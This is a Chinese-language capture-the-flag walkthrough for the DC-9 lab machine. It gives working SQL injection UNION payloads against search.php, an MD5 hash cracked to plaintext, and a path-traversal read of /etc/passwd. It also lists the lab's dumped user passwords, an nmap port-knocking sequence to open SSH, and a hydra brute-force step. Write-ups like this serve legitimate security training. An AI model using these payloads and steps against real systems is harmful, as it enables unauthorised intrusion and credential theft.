DC-9

Arp-scan -l

找到DC-9的ip:192.168.213.161

Webmap/dirmap/dirsearch/

1

22端口被过滤了不能直接连接

2

3

收集的信息大概就是这些,查看各个url,发现search.php有注入漏洞

4

Mary’order by 7#没有回显,证明字段数为6

查数据库Mary’union select database(),1,2,3,4,5;#

5

查表marry’union select table_name,2,3,4,5,6 from information_schema.tables where table_schema=database();#

6

查看users表内容marry’union select column_name,2,3,4,5,6 from information_schema.columns where table_name=’Users’;#

7

从Users表中读取ID、用户名、密码:marry’union select UserID,Username,Password,4,5,6 from Users;#;#

8拿到admin的md5密码,在线解密得到明文:transorbital1

9

这里说文件不存在,那么存在本地文件包含,我们尝试读一下/etc/passwd

http://192.168.213.161/manage.php/?../../../../etc/passwd

101112

把另一个数据库的users内容读出来整理一下信息

user password

marym 3kfs86sfd

julied 468sfdfsd2

fredf 4sfd87sfd1

barneyr RocksOff

tomc TC&TheBoyz

jerrym B8m#48sd

wilmaf Pebbles

bettyr BamBam01

chandlerb UrAG0D!

joeyt Passw0rd

rachelg yN72#dsd

rossg ILoveRachel

monicag 3248dsds7s

phoebeb smellycats

scoots YR3BVxxxw87

janitor Ilovepeepee

janitor2 Hawaii-Five-0

结合/etc/passwd

用户在passwd中都有账号,尝试使用hydra爆破,但是22端口的访问被过滤,这是由于使用了knockd服务(https://www.cnblogs.com/bask/p/9159197.html)

13

需要先连接目标主机的7469,8475,9842 3个端口才能打开连接:

现在用nmap进行敲门,nmap -p7469,8475,9842 -Pn –max-retries=0 192.168.213.161

这样ssh的22端口就打开了

14

用hydra结合上面的账号密码进行爆破

1516